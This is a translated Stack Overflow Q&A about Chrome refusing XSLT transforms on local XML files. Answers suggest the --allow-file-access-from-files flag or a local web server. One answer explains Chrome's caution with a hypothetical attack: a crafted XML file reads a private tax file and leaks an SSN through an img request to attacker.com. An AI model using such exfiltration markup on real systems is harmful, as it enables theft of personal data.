Chrome可以在本地文件上执行XSL转换吗?

101

我在研究XSLT并开始在W3Schools上使用示例进行测试。

然而,当我将XML和XSL保存到文件中并尝试本地打开它们时,Chrome不会执行XSL转换。 它只显示一个空白页面。

我已经向XML文档添加了<?xml-stylesheet type="text/xsl" href="style.xsl">标签,并且Firefox呈现出应该看起来的样子。 此外,如果通过Web服务器查看这些文件,则Chrome会以其应有的方式显示文件。

是Chrome在本地链接时无法找到样式表信息的问题吗? 将href更改为file:///C:/xsl/style.xsl没有任何区别。

更新: 这似乎是安全策略的副作用,即不将file:///*视为同一来源。这会在控制台中出现以下错误消息:

  

尝试从URL file:///C:/xsl-rpg/data.xml的帧加载URL file:///C:/xsl-rpg/style.xsl不安全。 域,协议和端口必须匹配。


1
看起来从 file: 协议,Chrome 抛出了相同的域错误。 - user357812
1
在IE11上它可以工作。Chrome正在变得邪恶。 - Marco Demaio
8个回答

86

简短的回答是 "不行,使用其中一个多种浏览器"

这个不起作用的原因是由于Chrome解决了一个有争议的安全问题[1][2][3][4],通过阻止XML文件访问同一目录中的本地XSLT文件,而HTML文件可以很好地访问同一目录中的.CSS文件。

在上面提到的问题中,用户要求更清晰的错误消息(因为域名、协议和端口实际上是匹配的),或者至少显示没有样式的XML。Chrome开发人员忽视了这些请求。


19
尽管他们的安全顾虑是有道理的,但XML文件应该能够像HTML文件加载同一目录下的XSL样式表、图片和脚本等资源。有一个问题可以加星标,但Chrome开发团队已禁止在此问题上发表新评论,尽管他们抱怨无法量化用户希望放宽本地文件来源的程度。 - Dan Dascalescu
1
有趣的事实:Mac上的Safari(8.0)可以很好地处理本地XSLT,但是在iOS(8)模拟器上的Safari(我想在iOS上也是如此),我得到了与Chrome中相同的错误“域、协议和端口必须匹配”。但是,如果我在应用程序中实现UIWebView并加载带有XSLT的XML,则一切都正常。 - Paweł Brewczynski
当任务是修复Chrome浏览器中特定的XSLT渲染时,使用另一个浏览器没有什么意义... - n611x007
一个适用于Chromium的方法是将XSL文件作为data:text/xsl URI内联到XML文件中。 - EricLaw

60

你可以通过在Chrome中使用--allow-file-access-from-files标志本地运行来完成此操作。

在OS X上,从终端应用程序运行:
/Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

在Windows上:从命令提示符运行:
path\to\your\chrome\chrome.exe --allow-file-access-from-files

注意:如果Chrome正在运行,则可能需要退出Chrome。


这在我的Windows 7上似乎不起作用。我找到了chrome.exe的位置:C:\Program Files (x86)\Google\Chrome\Application,并且--allow-file-access-from-files命令可以正常执行,但是我的本地XML文档(由本地XSLT文件转换)没有显示。 - Rick
2
也许你需要手动在Windows任务管理器中杀掉所有运行的chrome.exe进程。对我来说,这个方法有效。 - Christian Schulzendorff
1
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-files 对我有效。显然我正在运行Chrome Canary。 运行此命令后,应该会打开一个新的Chrome窗口,让您执行XSL转换。 - SeanLF
2
更快的Windows 7操作:按下Windows键+R;输入“chrome --allow-file-access-from-files”;回车。 - Aaron Campbell
1
或者在PowerShell中(为您杀死以前的Chrome):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files - Aaron Campbell
显示剩余5条评论

28

如果你想坚持使用OP的方式,答案是否定的(正如其他人所指出的),但是解决问题的一种方法是通过在Chrome中通过HTTP打开文件来运行一个简单的Web服务器。如果你已经安装了Python 2.x,你可以输入以下命令来运行Web服务器:

python -m SimpleHTTPServer

或者在 Python 3.x 中:

python3 -m http.server

然后在Chrome中使用http://localhost:8000/yourfile.xml打开文件。希望你只是想完成你的工作,而不是必须使用file://打开文件。


这是一篇旧帖子,但是很好的提示!我自己使用了http-server npm包 :) - jamiebarrow
这是一种通用解决方案,适用于所有平台,而不是在不同的浏览器上找出如何禁用CORS。点赞! - yancyn

4
我的解决方案是根据xsl文件查看xml文件。
假设我们有一个带有标题的some_file.xml文件:
<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. 我们下载文件https://some-site.com/Common.xsl,并将其放置在some_file.xml旁边。
  2. 将头部的一部分从href="https://some-site.com/Common.xsl"改为href="http://localhost:8001/Common.xsl"
  3. 在包含我们文件的目录中运行命令:python3 -m http.server 8001
  4. 在任何浏览器中打开http://localhost:8001/some_file.xml

4
在Chrome Bug页面上需要一些解读——他们非常热衷于不解释问题的本质,以及为什么选择让每个人都遇到问题而不是让每个人都没有问题。
假设我有一个XML文件——在我的硬盘某个地方——例如:
C:\ Users\Ian\Documents\Taxes\StudioTaxReturn_2015.xml
并且某种恶意实体——以某种方式——成功向我的计算机中添加了一个恶意的XML文件,例如:
C:\Users\Ian\AppData\LocalLow\Temp\TrojanVirusWorm.xml
想象一下,TrojanVirusWorm.xml 包含一个样式表处理指令(PI):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

攻击者指示我的浏览器导航到本地保存的trojanVirusWorm.xml文件。

显然,有一种方法可以使XML文件读取 XSD文件的内容(而不是被XSD文件转换):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

我不明白XML文件如何读取样式表文件。但Chrome团队向我们保证它是一种危险,而且无法解决。

其他浏览器都解决了这个问题。他们解决了它因为这不是一个问题


1
  1. 创建一个批处理文件,内容如下,并将其保存到一个位置,例如:chromex.cmd

    "C:\Program Files\Google\Chrome\Application\Chrome.exe" --user-data-dir=C:\Temp --allow-file-access-from-files %1

  2. 将默认应用程序设置为 chromex.cmd 以打开 .xml 文件。


0

您可以通过更改浏览器设置来启用Chrome渲染XSL文件。更安全的方法是通过本地Web服务器(例如Visual Studio Code Live Server或Apache)访问它。请参阅XSLT Won't Render on Local Files以获取详细步骤。


0
最简单和快速的解决方法是安装开源的 Chrome Web 服务器。

https://chrome.google.com/webstore/detail/web-server-for-chrome/ofhbbkphhbklhfoeikjpcbhemlocgigb?hl=en

安装完成后需要选择一个文件夹,该文件夹将作为服务器从Chrome标签中访问,默认URL为 - http://127.0.0.1:8887/。

现在,可以将XML文件和样式表文件夹/文件放在第2步中选择的文件夹下。 XML文件应引用样式表文件,并且可以直接打开XML文件以查看样式表。


网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接